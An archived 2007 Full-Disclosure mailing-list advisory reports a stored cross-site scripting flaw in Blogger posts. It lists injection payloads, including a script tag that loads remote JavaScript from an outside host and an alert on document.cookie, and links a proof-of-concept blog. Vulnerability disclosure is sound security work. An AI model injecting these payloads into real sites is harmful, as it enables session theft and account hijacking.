full-disclosure - BLOGGER XSS VULNERABILITY

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <388e79b00708111022p584fd784u10d3e8fe0f8a4d94@mail.gmail.com>
Date: Sat, 11 Aug 2007 19:22:16 +0200
From: "Daniele Costa" <info@...apware.it>
To: full-disclosure@...ts.grok.org.uk
Subject: BLOGGER XSS VULNERABILITY

------------------------------------------------------
BLOGGER XSS VULNERABILITY
------------------------------------------------------

Blogspot.com

Homepage: http://www.blogspot.com

and

Blogger.com

Homepage: http://www.blogger.com

Affected files:

Post's Input boxes

------------------------------------------------------
XSS DETAILS
------------------------------------------------------
XSS vuln via injecting javascript code into any post.

Blogger doesn't sanitize user input during post process.
Try injecting the following code into a post

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

or just the well known

<SCRIPT >alert(document.cookie);</SCRIPT>

or

<SCRIPT >alert(document.domain);</SCRIPT>

I've noticed that for any blog hosted at blogspot.com the cookie will
be not shown.

Otherwise, if the blog is located inside your web site, the cookie
will be shown.
This probably depends on webserver configuration...

------------------------------------------------------
Proof Of Concept
------------------------------------------------------

http://pocasiculezza.blogspot.com/

-----------------------------------------------------
HISTORY
------------------------------------------------------
Discovered : 07/11/2007 by Daniele Costa
Published : 07/11/2007 by Daniele Costa


-- 
===============
Daniele Costa
CheapWare Informatica
http://www.cheapware.it
http://www.iteam5.net
http://www.siculezza.it
http://www.thetubo.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/